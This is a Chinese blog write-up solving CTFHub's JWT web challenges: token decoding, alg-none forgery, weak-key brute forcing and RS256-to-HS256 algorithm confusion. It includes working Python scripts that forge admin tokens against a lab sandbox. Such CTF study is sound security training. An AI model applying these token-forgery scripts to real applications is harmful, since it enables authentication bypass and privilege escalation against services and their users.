ctfhub web技能树进阶JSON Web Token

基础知识

打开题目附件学习jwt基础知识后,将附件中的flag提交就可以了。

敏感信息泄露

进入登陆界面,随便登陆进去,进去后抓包把cookie里面的jwt编码拿去解码,里面有flag,把那两半拼起来即可。

无签名

登进去后把cookie的jwt解码,里面的role的值改为admin,python写程序无签名加密

import jwt

payload = {
    "username": "admin",
    "password": "password",
    "role": "admin"
}

header = {
    "typ": "JWT",
    "alg": "none"
}

jwt_token = jwt.encode(payload, None, headers=header)

print(jwt_token)

将新的jwt发包即可。

弱密钥

https://gitcode.com/brendan-rius/c-jwt-cracker/工具爆破密钥,然后role等于admin
在这里插入图片描述每个人的密钥不一样。

在这里插入图片描述

修改签名算法

题目提示:有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。
RS256改HS256
用了大佬的脚本,并且加了几句,直接把公钥爬下来。这里公钥必须下载不能直接复制粘贴,因为我试过很多次。

# coding=GBK
import hmac
import hashlib
import base64
import requests
url="http://challenge-0b5624c584528cee.sandbox.ctfhub.com:10800/publickey.pem"
r=requests.get(url)
with open("publickey.pem","wb") as f:
    f.write(r.content)

file = open('publickey.pem')  # 需要将文中的publickey下载	与脚本同目录
key = file.read()

# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'

# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode(
    "UTF-8").rstrip("=")

print(token + "." + sig)


在这里插入图片描述
ok

参考文章:
1.https://blog.csdn.net/devil8123665/article/details/113030554

CTFHub是一个CTF(Capture The Flag)竞赛平台,提供了丰富的技能树来帮助学习者提升Web基础认证的能力。下面是CTFHub技能树中关于Web基础认证的内容: 1. HTTP协议:了解HTTP协议的基本原理和常见的请求方法(GET、POST等),了解HTTP请求和响应的结构。 2. URL编码和解码:学习URL编码和解码的原理和常见的编码方式,如URL编码中的%20代表空格。 3. Cookies:了解Cookies的作用和原理,学习如何使用Cookies进行用户认证和状态管理。 4. Session管理:学习Session的概念和原理,了解如何使用Session进行用户认证和状态管理。 5. 基本认证(Basic Authentication):学习基本认证的原理和流程,了解如何使用用户名和密码进行认证。 6. 表单认证(Form-based Authentication):学习表单认证的原理和流程,了解如何使用表单提交用户名和密码进行认证。 7. Token认证:学习Token认证的原理和流程,了解如何使用Token进行用户认证和状态管理。 8. CSRF攻击与防御:学习CSRF(Cross-Site Request Forgery)攻击的原理和常见的防御措施9. XSS攻击与防御:学习XSS(Cross-Site Scripting)攻击的原理和常见的防御措施10. SQL注入攻击与防御:学习SQL注入攻击的原理和常见的防御措施。 以上是CTFHub技能树中关于Web基础认证的内容,通过学习这些知识,你可以提升自己在Web安全领域的认证技能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值